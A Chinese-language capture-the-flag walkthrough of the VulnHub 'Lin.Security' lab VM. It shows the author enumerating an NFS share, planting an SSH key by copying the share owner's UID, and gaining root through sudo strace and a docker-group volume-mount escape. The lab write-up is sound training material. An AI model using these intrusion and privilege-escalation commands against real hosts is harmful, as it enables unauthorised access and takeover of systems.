Lin.Security
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下载地址：https://download.vulnhub.com/linsecurity/lin.security_v1.0.ova
使用VB启动，VMware获取不到IP地址
账号密码：bob/secret
靶场的IP地址：192.168.32.6
扫描对外端口
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sV -p1-65535 192.168.32.6
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 21:07 EDT
Nmap scan report for 192.168.32.6
Host is up (0.00023s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs_acl 3 (RPC #100227)
36323/tcp open mountd 1-3 (RPC #100005)
41355/tcp open nlockmgr 1-4 (RPC #100021)
48107/tcp open mountd 1-3 (RPC #100005)
48441/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:D8:9F:D6 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.85 seconds
我们看到rpcbind运行 和一些正在运行的端口mountd。我们应该做的第一件事是枚举所有可用的网络共享：
┌──(root㉿kali)-[~/Desktop]
└─# showmount -e 192.168.32.6
Export list for 192.168.32.6:
/home/peter *挂载共享目录
┌──(root㉿kali)-[/tmp]
└─# mkdir peter
┌──(root㉿kali)-[/tmp]
└─# mount -t nfs 192.168.32.6:/home/peter ./peter -o nolock查看文件夹内容
┌──(root㉿kali)-[/tmp/peter]
└─# ls -al
total 36
drwxr-xr-x 6 cvechecker 1005 4096 Jun 11 21:15 .
drwxrwxrwt 13 root root 4096 Jun 11 21:11 ..
-rw-r--r-- 1 cvechecker 1005 220 Jul 9 2018 .bash_logout
-rw-r--r-- 1 cvechecker 1005 3771 Jul 9 2018 .bashrc
drwx------ 2 cvechecker 1005 4096 Jul 10 2018 .cache
-rw-rw-r-- 1 cvechecker 1005 0 Jul 10 2018 .cloud-locale-test.skip
drwx------ 3 cvechecker 1005 4096 Jul 10 2018 .gnupg
drwxrwxr-x 3 cvechecker 1005 4096 Jul 10 2018 .local
-rw-r--r-- 1 cvechecker 1005 807 Jul 9 2018 .profile
drwxr-xr-x 2 cvechecker cvechecker 4096 Jun 11 21:15 .ssh
┌──(root㉿kali)-[/tmp/peter]
└─# ls -al
total 32
drwxr-xr-x 5 1001 1005 4096 Jul 10 2018 .
drwxrwxrwt 13 root root 4096 Jun 11 21:11 ..
-rw-r--r-- 1 1001 1005 220 Jul 9 2018 .bash_logout
-rw-r--r-- 1 1001 1005 3771 Jul 9 2018 .bashrc
drwx------ 2 1001 1005 4096 Jul 10 2018 .cache
-rw-rw-r-- 1 1001 1005 0 Jul 10 2018 .cloud-locale-test.skip
drwx------ 3 1001 1005 4096 Jul 10 2018 .gnupg
drwxrwxr-x 3 1001 1005 4096 Jul 10 2018 .local
-rw-r--r-- 1 1001 1005 807 Jul 9 2018 .profile
没有权限进行创建
┌──(root㉿kali)-[/tmp/peter]
└─# touch .ssh
touch: cannot touch '.ssh': Permission denied创建cvechecker用户
┌──(root㉿kali)-[/tmp/peter]
└─# useradd cvechecker
┌──(root㉿kali)-[/tmp/peter]
└─# sudo -u cvechecker bash
cvechecker@kali:/tmp/peter$ mkdir .ssh生成公钥
┌──(root㉿kali)-[/tmp]
└─# ssh-keygen -t rsa -C "xxxxx@xxxxx.com"
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/id_ras
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /tmp/id_ras
Your public key has been saved in /tmp/id_ras.pub
The key fingerprint is:
SHA256:ZODZhucn4oEgnrT/T5bVMcpgwwlAlcl4E10VRJ2ohRU xxxxx@xxxxx.com
The key's randomart image is:
+---[RSA 3072]----+
| .o=+* ..*E= . |
| . Bo*.. o o |
|... . =** oo |
|o.o. ..*+.o o |
| + . o S+.. |
| . . ooo |
| . .+ |
| . o |
| ... |
+----[SHA256]-----+将公钥复制到共享文件夹里面
cvechecker@kali:/tmp/peter$ cp /tmp/id_ras.pub /tmp/peter/.ssh/authorized_keys使用私钥进行登录
┌──(root㉿kali)-[/tmp]
└─# ssh -i id_ras peter@192.168.32.6
██╗ ██╗███╗ ██╗ ███████╗███████╗ ██████╗██╗ ██╗██████╗ ██╗████████╗██╗ ██╗
██║ ██║████╗ ██║ ██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝
██║ ██║██╔██╗ ██║ ███████╗█████╗ ██║ ██║ ██║██████╔╝██║ ██║ ╚████╔╝
██║ ██║██║╚██╗██║ ╚════██║██╔══╝ ██║ ██║ ██║██╔══██╗██║ ██║ ╚██╔╝
███████╗██║██║ ╚████║██╗███████║███████╗╚██████╗╚██████╔╝██║ ██║██║ ██║ ██║
╚══════╝╚═╝╚═╝ ╚═══╝╚═╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
Welcome to lin.security | https://in.security | version 1.0
peter@linsecurity:~$ id
uid=1001(peter) gid=1005(peter) groups=1005(peter),999(docker)查看sudo可执行列表
peter@linsecurity:~$ sudo -l
Matching Defaults entries for peter on linsecurity:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User peter may run the following commands on linsecurity:
(ALL) NOPASSWD: /usr/bin/strace使用strace进行提权
peter@linsecurity:~$ sudo strace -o /dev/null sh
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root因为peter账号有docker权限
peter@linsecurity:~$ docker -v
Docker version 18.03.1-ce, build 9ee9f40所以可以利用docker进行提权
docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease